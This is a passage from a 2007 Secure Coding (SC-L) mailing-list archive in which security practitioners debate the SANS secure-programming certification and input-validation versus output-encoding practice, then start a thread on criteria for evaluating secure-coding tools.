In-Reply-To: <WorldClient-F200705142146.AA46090022@joeteff.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>	<25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>	<87ps552jvg.fsf@mid.deneb.enyo.de>
	<WorldClient-F200705142146.AA46090022@joeteff.com>
Message-ID: <4649D51B.8000405@LightSys.org>

 > [...] White list validation is the answer to everything except the
 > difficult choices developers have to make and often get wrong.
 > [...]
 > (past,present,future) of the data is that single application? How do you
 > test the ability for developers to make the best decisions in imperfect
 > situations?

I generally teach the developer to both whitelist where the data enters
the application from the user, AND to escape/encode when building a string
that combines both data (of any origin) and control elements (such as a SQL
statement, HTML document, file and pathname, zero-terminated string, etc.).

The first is always done based on the nature of the data (requirements).
The second is done based on the control boundaries and characters with
special meanings (quotes, html special characters, nul terminators,
directory slashes, "..", etc.)  While both are important ("defense in
depth"), in my opinion, the latter is as important, if not more important,
than the first.  This is for several reasons:

    1) as you said, often a character used for a control boundary or
       which has special meaning is needed in the input data in order for
       the application to work;

    2) when I read code, I want to be able to tell at a glance that it has
       a good chance of being secure, so countermeasures should preferably be
       done close to where they matter;

    3) internal changes to the path of data through a program are not at all
       uncommon.  Basing your input-validation (at the point where the data
       enters the application) on the issues that might be present in the
       totality of the data's path through the application is something that
       is very unmaintainable.  And what happens when someone decides after-
       the-fact "we need to allow an apostrophe in that field", and the
       developers have to remember that the field in question eventually ends
       up going into a SQL statement between a pair of quotes?; and

    4) Trusted data can become untrusted in a hurry!

For instance, I've seen a fair bit of PHP code, and the quality varies quite
a bit, as we all know.  If there isn't very consistent use of escaping /
encoding / etc. when building HTML, SQL, cookies, filenames, etc., I worry.
And that is regardless of how much the application tends to "validate the
input data".  I am concerned when an application only uses escaping /
encoding / etc. when the developer thinks it must be necessary, based on
the apparent origin of the data.  Sure, there is a performance tradeoff
for more generous use of escaping/encoding/etc., but in my opinion it is
very much worth it. (there is a price to be paid for performance, and if
performance is a top requirement, the project managers need to factor
in the security implications of tradeoffs like this one).

When I teach this stuff, I tell folks, "don't just code so that it is
secure, but instead code so that others can see relatively easily that
it is secure".

Greg.


From pmeunier at cerias.net  Tue May 15 13:02:52 2007
From: pmeunier at cerias.net (pmeunier)
Date: Tue, 15 May 2007 13:02:52 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDC8747@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC8747@va-mailhub.cigital.com>
Message-ID: <4649E7BC.4040706@cerias.net>

I think this discussion ignores the common human failing of
ignoring recommendations and advice on things to do for safety and
security, unless one has already suffered the consequences, or if the
consequences are obviously incoming.  This is why there had to be a law
on the wearing of seatbelts (the needed car analogy ;), and in part why 
exploits have to be created to "prove" to reluctant vendors that 
something really is an issue.  People tend to "think positively" (try to 
ignore possible bad consequences) and not bother with things that "won't 
happen to them".

This is why a white list approach to software development, presenting 
only what you should do, is insufficient by itself.  People need to know 
why they should adopt recommended practices, and sometimes that isn't 
enough still.  In the case of seatbelts, just telling people why wasn't 
enough;  it had to be legislated.

People learn from mistakes, and from bugs. In addition, the capability 
to find bugs and know how serious they are and why is valuable, for 
example in code reviews and in deciding what to do about the alerts that 
code scanning software generates.  It's true that bug finding is only a 
small part of the secure programming landscape.  However, it's a good 
place to start and I think it's a good thing to test.

As I look at the exam blueprints for the GSSP, I see not only low-level 
bugs, but also design-level subject matter, such as privacy and 
encryption, identification, authentication, and session management.  The 
Java/J2EE bluprints in particular contains higher-level issues.  So, 
whereas there are no high-level design or architecture-related 
questions, I think that's just fine because that's not the aim of the 
GSSP.  Of course, the actual questions may be bad -- I don't know.

Having used multiple choice questions for years on secure programming, I 
think they are apropriate tools for some of the knowledge.  The grades I 
give are based 50% on labs and 50% on exams, which are mostly multiple 
choice.  There is also at least one "real code" question where students 
have to explain what is going on, and what should have been done 
instead.  This combination seems to provide a good assessment of the 
learning outcomes.  Unfortunately I haven't tracked how well the 
students did after they graduated -- that would be interesting.

In conclusion, I think dismissing this effort is too harsh, and I 
disagree with much of the criticism voiced so far.  I haven't yet, but I 
intend to write a few questions for the exam, because I think it's a 
worthwhile thing to do.  I won't begrudge SANS for being able to make a 
profit with it.  I think they deserve it for demonstrating leadership 
and having the initiative of creating the certification (and no, I don't 
have links to them or get paid by them -- although there's a small 
reward for exam questions).

Regards,
Pascal Meunier



Gary McGraw wrote:
> Hi Yo (and everyone else),
> 
> I'm afraid that the current test focuses all of its attention on BUGS (in C/C++ and Java).  While we certainly need to erradicate simple security bugs, there is much more to software security than the bug parade.  Plus when you look into the material, the multiple choice format makes determining the correct answer impossible at times.
> 
> I would rather move away from learning about bugs to learning about defensive programming to avoid bugs in the first place.  The SANS material focuses entirely on the negative as far as I can tell.  Here's a bug, there's a bug, everywhere a bug bug.  Better than nothing?  Maybe.
> 
> SANS is very good an soliciting everyone's opinion, piling it all up in a nice package, and then charging users for the result.  SANS is a for profit entity, not a university or a non-profit.  Please don't forget that.
> 
> As much as I would love to see a way to determine whether a random coder has security clue, I'm afraid all we will get out of this effort is perhaps a bit more awareness.
> 
> gem
> 
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
> 
> 
> -----Original Message-----
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Johan Peeters
> Sent: Saturday, May 12, 2007 6:11 AM
> To: SC-L at securecoding.org
> Subject: Re: [SC-L] Darkreading: Secure Coding Certification
> 
> I agree that multiple choice alone is inadequate to test the true
> breadth and depth of someone's security knowledge. Having contributed
> a few questions to the SANS pool, I take issue with Gary's article
> when it implies that you can pass the GSSP test while clueless.
> 
> There is indeed a body of knowledge that is being tested. SANS has
> been soliciting comments on the document.
> 
> kr,
> 
> Yo
> 
> On 5/11/07, Gary McGraw <gem at cigital.com> wrote:
>> Hi all,
>>
>> As readers of the list know, SANS recently announced a certification scheme for secure programming.  Many vendors and consultants jumped on the bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why in my latest darkreading column:
>>
>> http://www.darkreading.com/document.asp?doc_id=123606
>>
>> What do you think?  Can we test someone's software security knowledge with a multiple choice test?  Anybody seen the body of knowledge behind the test?
>>
>> gem
>>
>> company www.cigital.com
>> podcast www.cigital.com/silverbullet
>> blog www.cigital.com/justiceleague
>> book www.swsec.com
>>
>> _______________________________________________
>> Secure Coding mailing list (SC-L) SC-L at securecoding.org
>> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
>> List charter available at - http://www.securecoding.org/list/charter.php
>> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
>> as a free, non-commercial service to the software security community.
>> _______________________________________________
>>
> 
> 
> --
> Johan Peeters
> http://johanpeeters.com
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> 


From arian.evans at anachronic.com  Tue May 15 17:04:15 2007
From: arian.evans at anachronic.com (Arian J. Evans)
Date: Tue, 15 May 2007 14:04:15 -0700
Subject: [SC-L] Darkreading: Secure Coding Certification (starting point)
Message-ID: <cd1bdfdd0705151404u49101460y34b4f3f73ddd10c4@mail.gmail.com>

1. This is a great first step. While it sounds so 2003: I still deal with
developers all the time that simply have no idea what to do or where to
begin for *very basic* issues. Input validation. Output encoding. Or try to
solve by doing crazy wild wrong things ("dangerous-string" blacklists,
case-changes for case-sensitive language injection (xhtml/js) etc).

2. Most of the world is still not getting the "bug parade". >50%. You (Gary)
may see a biased sample of more edjumacated folks by reading SC-L and
working with a client sample that may be in the upper bounds of secure
software knowledge.

3. Focusing on weak implementation practices ("bugs") is just fine. That's
what most developers do. Implement.

4. Design and Pattern weaknesses are definitely essential. But that's not
what most developers do.

5. SANS could and should have some separate, additional certifications:

+ "Non-dangerous requirements-gathering for Product Evangelists"

+ "Strong Software Design Principles for Business Owners"

+ "Strong Software Design Patterns for Software Architects/Lead Developers"

+ "How to describe mis-use case and dangerous omissions for people writing
functional specifications"

Those are all separate pieces of knowledge that, depending on the size of
the organization, may all be separate people.

Certainly most of the developers I've worked with over the years would find
the above in the "WTF does this have to do with me?" category, and I can't
say I blame them.

And of course SANS makes money. Everything Allen Paller does is really good
about getting lots of free community effort to generate data sets and/or
tools they can charge other folks a lot of money for (CIS, SANS, SSI,
Dshield, etc.).

Sounds pretty smart to me. And I'd sure rather have someone following CIS
guidelines or using SANS course-ware content than *nothing at all*.

Cheers

-- 
Arian Evans
solipsistic software security sophist

"I love deadlines. I like the whooshing sound they make as they fly by." -
Douglas Adams


On 5/15/07, Gary McGraw <gem at cigital.com> wrote:
>
> Hi Yo (and everyone else),
>
> I'm afraid that the current test focuses all of its attention on BUGS (in
> C/C++ and Java).  While we certainly need to erradicate simple security
> bugs, there is much more to software security than the bug parade.  Plus
> when you look into the material, the multiple choice format makes
> determining the correct answer impossible at times.
>
> I would rather move away from learning about bugs to learning about
> defensive programming to avoid bugs in the first place.  The SANS material
> focuses entirely on the negative as far as I can tell.  Here's a bug,
> there's a bug, everywhere a bug bug.  Better than nothing?  Maybe.
>
> SANS is very good an soliciting everyone's opinion, piling it all up in a
> nice package, and then charging users for the result.  SANS is a for profit
> entity, not a university or a non-profit.  Please don't forget that.
>
> As much as I would love to see a way to determine whether a random coder
> has security clue, I'm afraid all we will get out of this effort is perhaps
> a bit more awareness.
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
> -----Original Message-----
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
> On Behalf Of Johan Peeters
> Sent: Saturday, May 12, 2007 6:11 AM
> To: SC-L at securecoding.org
> Subject: Re: [SC-L] Darkreading: Secure Coding Certification
>
> I agree that multiple choice alone is inadequate to test the true
> breadth and depth of someone's security knowledge. Having contributed
> a few questions to the SANS pool, I take issue with Gary's article
> when it implies that you can pass the GSSP test while clueless.
>
> There is indeed a body of knowledge that is being tested. SANS has
> been soliciting comments on the document.
>
> kr,
>
> Yo
>
> On 5/11/07, Gary McGraw <gem at cigital.com> wrote:
> > Hi all,
> >
> > As readers of the list know, SANS recently announced a certification
> scheme for secure programming.  Many vendors and consultants jumped on the
> bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why
> in my latest darkreading column:
> >
> > http://www.darkreading.com/document.asp?doc_id=123606
> >
> > What do you think?  Can we test someone's software security knowledge
> with a multiple choice test?  Anybody seen the body of knowledge behind the
> test?
> >
> > gem
> >
> > company www.cigital.com
> > podcast www.cigital.com/silverbullet
> > blog www.cigital.com/justiceleague
> > book www.swsec.com
> >
> > _______________________________________________
> > Secure Coding mailing list (SC-L) SC-L at securecoding.org
> > List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> > List charter available at - http://www.securecoding.org/list/charter.php
> > SC-L is hosted and moderated by KRvW Associates, LLC (
> http://www.KRvW.com)
> > as a free, non-commercial service to the software security community.
> > _______________________________________________
> >
>
>
> --
> Johan Peeters
> http://johanpeeters.com
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070515/6c0f3c4c/attachment.html 

From Jason.Bennett at thales-esecurity.com  Wed May 16 04:02:32 2007
From: Jason.Bennett at thales-esecurity.com (Bennett, Jason)
Date: Wed, 16 May 2007 09:02:32 +0100
Subject: [SC-L] Darkreading: Secure Coding Certification
Message-ID: <CF3B16C299E5344E9D852923BEBEE0B2CD28FB@ukbtn05.btn.thales-esecurity.com>




Lots of interesting points have been made about the SANS test in particular
and multiple choice certifications in general. I think that this, and no I
haven't seen the questions so I could be wide of the mark, are a pragmatic
step in the right direction. I agree that while this sort of exam can be
passed by someone who is almost clueless, or I think more accurately can
remember facts but wouldn't be able to apply them to real world situations,
experience is not the be all and end all - if this was the case we wouldn't
still be seeing the same old mistakes being made time and time again!

So until we have a better way of measuring knowledge, and I'm not convinced
that will ever happen, this seems at least to be a good idea but certainly
not ideal. Hopeful it will raise awareness of the subject and maybe even get
people into the idea constant improvement throughout their career.

In conclusion I think the original article made some good points but it is a
bit harsh on what can realistically be achieved at this point it time. The
certification should be seen a part of and not a substitute for what can
only be learnt through experience, guidance and the one that always seems to
be forgotten, keeping up with what is happening in the area of developing
secure code.
 
Consider the environment before printing this mail.
"Thales e-Security Limited is incorporated in England and Wales with company
registration number 2518805. Its registered office is located at 2 Dashwood
Lang Road, The Bourne Business Park, Addlestone, Nr. Weybridge, Surrey KT15
2NX.
The information contained in this e-mail is confidential. It may also be
privileged. It is only intended for the stated addressee(s) and access to it
by any other person is unauthorised. If you are not an addressee or the
intended addressee, you must not disclose, copy, circulate or in any other
way use or rely on the information contained in this e-mail. Such
unauthorised use may be unlawful. If you have received this e-mail in error
please delete it (and all copies) from your system, please also inform us
immediately on +44 (0)1844 201800 or email postmaster at thales-esecurity.com.
Commercial matters detailed or referred to in this e-mail are subject to a
written contract signed for and on behalf of Thales e-Security Limited". 

From James.McGovern at thehartford.com  Wed May 16 14:26:02 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 16 May 2007 14:26:02 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <4649D51B.8000405@LightSys.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999AA2@AD1HFDEXC309.ad1.prod>

Maybe the test shouldn't focus on code at all? If we can agree that many flaws are found at design time even before code is written (Yes, most folks still use waterfall approaches but that is a different debate) then why can't questions occur at this level? 

If we follow the trend of IT at large, we would understand that lots of "coding" is going outside of the United States but architecture and design for the most part is still onshore, it has the potential for a bigger impact, access to more capital and therefore should come first.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From coley at linus.mitre.org  Wed May 16 15:18:04 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 16 May 2007 15:18:04 -0400 (EDT)
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999AA2@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4603999AA2@AD1HFDEXC309.ad1.prod>
Message-ID: <Pine.GSO.4.51.0705161514080.5463@faron.mitre.org>


> Maybe the test shouldn't focus on code at all? If we can agree that many
> flaws are found at design time even before code is written (Yes, most
> folks still use waterfall approaches but that is a different debate)
> then why can't questions occur at this level?

It was decided early on that this test would have a heavy emphasis on
coding, since programmers who've just entered the workplace (the target
examinees) are not likely to be heavily involved in design.  While this
decision was not unanimous, many of the core contributors agreed with this
philosophy.  Obviously this leaves a few gaps with respect to secure
software development, which I'm sure will be addressed by someone
somewhere, sometime.

- Steve

From arian.evans at anachronic.com  Wed May 16 16:04:52 2007
From: arian.evans at anachronic.com (Arian J. Evans)
Date: Wed, 16 May 2007 13:04:52 -0700
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999AA2@AD1HFDEXC309.ad1.prod>
References: <4649D51B.8000405@LightSys.org>
	<773F863A6009244B87E6E866AFC7DB4603999AA2@AD1HFDEXC309.ad1.prod>
Message-ID: <cd1bdfdd0705161304w2087ae76m2002d549d6f3f6ed@mail.gmail.com>

I don't understand this thread. These are different sets of issues. Often,
they are different sets of people. Organizational size is a factor. A
three-man startup is going to have a lot of hat overlap, where a monolithic
enterprise is going to have broad distribution of hats. The spirit of this
thread seems to have a well-meaning but misguided swaping of "ANDs" and
"ORs".

The arm-chair quarterbacking of a very useful, overdue effort, is a bit
silly. We need these efforts.

As I mentioned previously, we need multiple tests:

+ "How to write and implement code that isn't weak to bit-fiddling"

(e.g. don't concatenate strings, strongly type data, encode output safe for
user agent, don't use LIKE queries with weak authorization models, blah
blah; this is how you make XSS and SQLi and BoF/HoFs go away.)

--> Check. That's the first thing thing SANS (err, SSI) is addressing.

We still need:

+ "Non-dangerous requirements-gathering for Product Evangelists/Owners"

(no, the customer does not really want that)


+ "Strong Software Design Principles for Business Owners"

(weak secrets often reduce short-term costs, customer service, etc., but...)



+ "Strong Software Design Patterns for Software Architects/Lead Developers"

(yeah, your authorization model is Borked man. What were you drinking? In
fact, why do you even have "roles" in your application? Might as well just
use "Trust".)


+ "How to describe mis-use case and dangerous omissions for people writing
functional specifications"

(So Rob should run Rob's reports. Should Rob be able to run Sally's
report(s)?? yes|no )


These are all different actions... often taken by different actors. At
minimum it is while a given actor is performing different tasks.

I'd love to see SSI collect a body of knowledge and make tests for all of
these. I see no reason to debate "ORs" in here.

chow

Arian Evans



On 5/16/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com>
wrote:
>
> Maybe the test shouldn't focus on code at all? If we can agree that many
> flaws are found at design time even before code is written (Yes, most folks
> still use waterfall approaches but that is a different debate) then why
> can't questions occur at this level?
>
> If we follow the trend of IT at large, we would understand that lots of
> "coding" is going outside of the United States but architecture and design
> for the most part is still onshore, it has the potential for a bigger
> impact, access to more capital and therefore should come first.
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070516/b8de9d15/attachment.html 

From gem at cigital.com  Wed May 16 16:25:56 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 16 May 2007 16:25:56 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
Message-ID: <41945506397C0C4886A8C5BFF089B5CA9BDD1E2B@va-mailhub.cigital.com>

Hi all,

I like this idea.   There is plenty of non-code material to master in our field.   I think a bunch of it is covered in detail in "Software Security"...but I am biased.

I would like to see coverage of common attack patterns, coverage of risk analysis basics, and coverage of both positive and negative design patterns.

gem

P.S. I plan to respond soon to previous posts.   Too much time on airplanes lately.

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:   Wednesday, May 16, 2007 03:08 PM Eastern Standard Time
To:     SC-L at securecoding.org
Subject:        [SC-L] Darkreading: Secure Coding Certification

Maybe the test shouldn't focus on code at all? If we can agree that many flaws are found at design time even before code is written (Yes, most folks still use waterfall approaches but that is a different debate) then why can't questions occur at this level?

If we follow the trend of IT at large, we would understand that lots of "coding" is going outside of the United States but architecture and design for the most part is still onshore, it has the potential for a bigger impact, access to more capital and therefore should come first.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From James.McGovern at thehartford.com  Wed May 16 16:30:29 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 16 May 2007 16:30:29 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDD1E2B@va-mailhub.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999AA6@AD1HFDEXC309.ad1.prod>

As someone who has read your books, I am in full agreement that we should use much of the material contained to create an exam around design. Instead of making it a "later" thing, what would it take for folks on this list to have some sense of urgency and blast SANS to do it sooner?

If any members here will also be in attendance at the TechForum in NYC (http://www.techforum.com/sf2007_1/index.html) would love to hook up for lunch.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Wednesday, May 16, 2007 4:26 PM
To: McGovern, James F (HTSC, IT); 'SC-L at securecoding.org'
Subject: RE: [SC-L] Darkreading: Secure Coding Certification


Hi all,

I like this idea.   There is plenty of non-code material to master in our field.   I think a bunch of it is covered in detail in "Software Security"...but I am biased.

I would like to see coverage of common attack patterns, coverage of risk analysis basics, and coverage of both positive and negative design patterns.

gem

P.S. I plan to respond soon to previous posts.   Too much time on airplanes lately.

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



Sent from my treo.

 -----Original Message-----
From:   McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:   Wednesday, May 16, 2007 03:08 PM Eastern Standard Time
To:     SC-L at securecoding.org
Subject:        [SC-L] Darkreading: Secure Coding Certification

Maybe the test shouldn't focus on code at all? If we can agree that many flaws are found at design time even before code is written (Yes, most folks still use waterfall approaches but that is a different debate) then why can't questions occur at this level?

If we follow the trend of IT at large, we would understand that lots of "coding" is going outside of the United States but architecture and design for the most part is still onshore, it has the potential for a bigger impact, access to more capital and therefore should come first.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From James.McGovern at thehartford.com  Mon May 21 15:52:45 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 21 May 2007 15:52:45 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <cd1bdfdd0705161304w2087ae76m2002d549d6f3f6ed@mail.gmail.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999ADA@AD1HFDEXC309.ad1.prod>

I agree. The two that I feel should be next in terms of developing certifications around are:
 
- How to describe misuse case and dangerous ommissions for people writing functional specifications: This is highly applicable in outsourcing environments including the Federal Government
 
- Strong Software Design Patterns for Software Architects/Lead Developers: This is where if security were properly addressed, would be pretty cheap to handle and have a better ROI than dealing with it at coding time.
 
http://www.theimf.com/events_detail.aspx?ID=164

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]On Behalf Of Arian J. Evans
Sent: Wednesday, May 16, 2007 4:05 PM
To: SC-L at securecoding.org
Subject: Re: [SC-L] Darkreading: Secure Coding Certification


I don't understand this thread. These are different sets of issues. Often, they are different sets of people. Organizational size is a factor. A three-man startup is going to have a lot of hat overlap, where a monolithic enterprise is going to have broad distribution of hats. The spirit of this thread seems to have a well-meaning but misguided swaping of "ANDs" and "ORs". 

The arm-chair quarterbacking of a very useful, overdue effort, is a bit silly. We need these efforts.

As I mentioned previously, we need multiple tests:

+ "How to write and implement code that isn't weak to bit-fiddling" 

(e.g. don't concatenate strings, strongly type data, encode output safe for user agent, don't use LIKE queries with weak authorization models, blah blah; this is how you make XSS and SQLi and BoF/HoFs go away.) 

--> Check. That's the first thing thing SANS (err, SSI) is addressing.

We still need:

+ "Non-dangerous requirements-gathering for Product Evangelists/Owners"

(no, the customer does not really want that) 


+ "Strong Software Design Principles for Business Owners"

(weak secrets often reduce short-term costs, customer service, etc., but...) 


+ "Strong Software Design Patterns for Software Architects/Lead Developers" 

(yeah, your authorization model is Borked man. What were you drinking? In fact, why do you even have "roles" in your application? Might as well just use "Trust".)


+ "How to describe mis-use case and dangerous omissions for people writing functional specifications" 

(So Rob should run Rob's reports. Should Rob be able to run Sally's report(s)?? yes|no )


These are all different actions... often taken by different actors. At minimum it is while a given actor is performing different tasks. 

I'd love to see SSI collect a body of knowledge and make tests for all of these. I see no reason to debate "ORs" in here.

chow

Arian Evans




*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070521/7c13f129/attachment.html 

From James.McGovern at thehartford.com  Tue May 22 09:47:34 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 22 May 2007 09:47:34 -0400
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999ADA@AD1HFDEXC309.ad1.prod>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999AE3@AD1HFDEXC309.ad1.prod>

We will shortly be starting an evaluation of tools to assist in the secure coding practices initiative and have been wildly successful in finding lots of consultants who can assist us in evaluating but absolutely zero in terms of finding RFI/RFPs of others who have travelled this path before us. Would especially love to understand stretch goals that we should be looking for beyond simple stuff like finding buffer overflows in C, OWASP checklists, etc.
 
In my travels, it "feels" as if folks are simply choosing tools in this space because they are the market leader, incumbent vendor or simply asking an industry analyst but none seem to have any "deep" criteria. I guess at some level, choosing any tool will move the needle, but investments really should be longer term.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070522/09ed2672/attachment.html 

From peter.amey at praxis-his.com  Tue May 22 11:00:41 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Tue, 22 May 2007 16:00:41 +0100
Subject: [SC-L] Tools: Evaluation Criteria
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFEE5F12D@EVS01.praxis.local>

 


________________________________

	From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of McGovern, James F
(HTSC, IT)
	Sent: 22 May 2007 14:48
	To: SC-L at securecoding.org
	Subject: [SC-L] Tools: Evaluation Criteria
	
	
	We will shortly be starting an evaluation of tools to assist in
the secure coding practices initiative and have been wildly successful
in finding lots of consultants who can assist us in evaluating but
absolutely zero in terms of finding RFI/RFPs of others who have
travelled this path before us. Would especially love to understand
stretch goals that we should be looking for beyond simple stuff like
finding buffer overflows in C, OWASP checklists, etc.
	[PNA] 
	 
	For some "stretch goals ", take a look at www.sparkada.com and
some of the published papers there, especially one on a project called
Tokeneer.
	(Caveat: I am commercially involved in the SPARK tools.
	 
	In my travels, it "feels" as if folks are simply choosing tools
in this space because they are the market leader, incumbent vendor or
simply asking an industry analyst but none seem to have any "deep"
criteria. I guess at some level, choosing any tool will move the needle,
but investments really should be longer term.
	

	[PNA] 
	Agreed
	 
	 
	Peter
	 
	
	--------------------------------------------------------

	Peter Amey BSc ACGI CEng CITP MRAes FBCS
	

	CTO (Software Engineering)

	direct:   +44 (0) 1225 823761

	mobile: +44 (0) 7774 148336

	peter.amey at praxis-his.com

	 

	Praxis High Integrity Systems Ltd

	20 Manvers St, Bath, BA1 1PX, UK

	t: +44 (0)1225 466991

	f: +44 (0)1225 469006

	w: www.praxis-his.com <http://www.praxis-his.com/> 

	--------------------------------------------------------

	 



This email is confidential and intended solely for the use of the individual to whom it is addressed. If you are not the intended recipient, be advised that you have received this email in error and that any use, disclosure, copying or distribution or any action taken or omitted to be taken in reliance on it is strictly prohibited. If you have received this email in error please contact the sender. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of Praxis. 

Although this email and any attachments are believed to be free of any virus or other defect, no responsibility is accepted by Praxis or any of its associated companies for any loss or damage arising in any way from the receipt or use thereof. The IT Department at Praxis can be contacted at it.support at praxis-his.com.

Praxis High Integrity Systems Ltd:

Company Number: 3302507, registered in England and Wales

Registered Address: 20 Manvers Street, Bath. BA1 1PX

VAT Registered in Great Britain: 682635707

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070522/429cf6c9/attachment.html 

From coley at linus.mitre.org  Tue May 22 12:52:46 2007
From: coley at linus.mitre.org (Steven M. Christey)
